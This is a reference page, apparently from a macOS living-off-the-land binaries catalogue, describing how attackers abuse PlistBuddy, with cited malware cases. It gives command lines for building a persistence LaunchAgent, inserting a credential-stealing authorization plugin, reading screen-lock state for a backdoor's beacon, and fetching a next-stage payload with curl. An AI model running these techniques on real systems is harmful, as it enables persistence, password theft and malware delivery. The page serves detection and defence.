← All Binaries

PlistBuddy

PlistBuddy is an Apple-supplied utility for reading and modifying property lists. It is normally driven interactively, but the -c switch executes a single Add, Set, Print, Delete, Copy, Merge, Import or Clear command and exits, which makes it scriptable. Entries are addressed by colon-delimited key paths with zero-based array indices, so a caller can construct or read an arbitrarily nested plist without ever handling a complete plist file. That is what makes it useful to an attacker. A LaunchAgent can be assembled key by key in place instead of being copied in from a download, a downloaded configuration blob can be queried for a single value, and live system state piped in on /dev/stdin can be parsed without writing a temporary file. PlistBuddy has been observed in Silver Sparrow, UpdateAgent and the DPRK-attributed SILENCELIFT backdoor.

Author: Hare Sudhan (@cyb3rbuff) Created: 2026-09-20

Paths

/usr/libexec/PlistBuddy

Example Use Cases

Build a LaunchAgent or LaunchDaemon key by key for persistence #

PlistBuddy creates the target file when it is missing, so a series of Add commands assembles a launchd job in place. Nothing is copied from a disk image or archive, so the plist carries no com.apple.quarantine attribute. Red Canary saw this in Silver Sparrow's installer and Microsoft reported UpdateAgent doing the same. Writing to ~/Library/LaunchAgents needs only the current user; the /Library paths require root.

/usr/libexec/PlistBuddy -c "Add :Label string <LABEL>" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments array" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments:0 string /bin/sh" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments:2 string <PAYLOAD_PATH>" ~/Library/LaunchAgents/<LABEL>.plist

Insert a malicious authorization plugin mechanism into an exported right #

Authorization rights are stored as plists in the authorization database. An operator exports the system.login.console right (security authorizationdb read), uses PlistBuddy to insert an attacker's SecurityAgent plugin as a mechanism, and writes the right back (security authorizationdb write); the plugin is then invoked at login and receives the entered username and password. The PlistBuddy edit on a temp file needs no privileges, but installing the plugin and writing the right back require root. Documented by Chris Ross (@xorrior).

/usr/libexec/PlistBuddy -c "Add :mechanisms:0 string <BUNDLE_NAME>:login,privileged" /tmp/system.login.console.plist

Parse live I/O Kit registry output from stdin to read screen lock state #

PlistBuddy accepts /dev/stdin as its file argument, so a plist produced by another command can be queried without touching disk. Google Threat Intelligence Group's UNC1069 report records the SILENCELIFT backdoor using this to read :IOConsoleUsers:0:CGSSessionScreenIsLocked from ioreg output and beacon the lock state to C2. The key is absent when the screen is unlocked, so PlistBuddy exits non-zero and the error is discarded. No privileges required.

/usr/libexec/PlistBuddy -c "print :IOConsoleUsers:0:CGSSessionScreenIsLocked" /dev/stdin 2>/dev/null <<< "$(ioreg -n Root -d1 -a)"

Read a downloadUrl key with PlistBuddy and fetch the next stage #

Silver Sparrow fetched a JSON config from its C2 and converted it to a plist (with plutil) so PlistBuddy could query it instead of an attacker-authored parser. Print pulls the next-stage URL from :downloadUrl, which is substituted into a curl command for the next stage. Reading properties from a signed Apple binary's output keeps the parsing logic off the host. No privileges required.

curl "$(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist)" --output /tmp/<STAGE_TWO>

Read an installed application's version from its Info.plist #

Every application bundle carries an Info.plist with version strings. Reading CFBundleShortVersionString reports the user-facing version, while CFBundleVersion reports the internal build number. An attacker can fingerprint installed security tooling or other target applications without privileges or a TCC grant.

/usr/libexec/PlistBuddy -c "Print :CFBundleShortVersionString" /Applications/<APP>.app/Contents/Info.plist

Detections

Resources

Acknowledgements

  • Tony Lambert and Red Canary (Silver Sparrow analysis and the PlistBuddy LaunchAgent sequence)
  • Chris Ross (@xorrior) (authorization plugin credential theft technique)
  • Google Threat Intelligence Group (SILENCELIFT / UNC1069 analysis)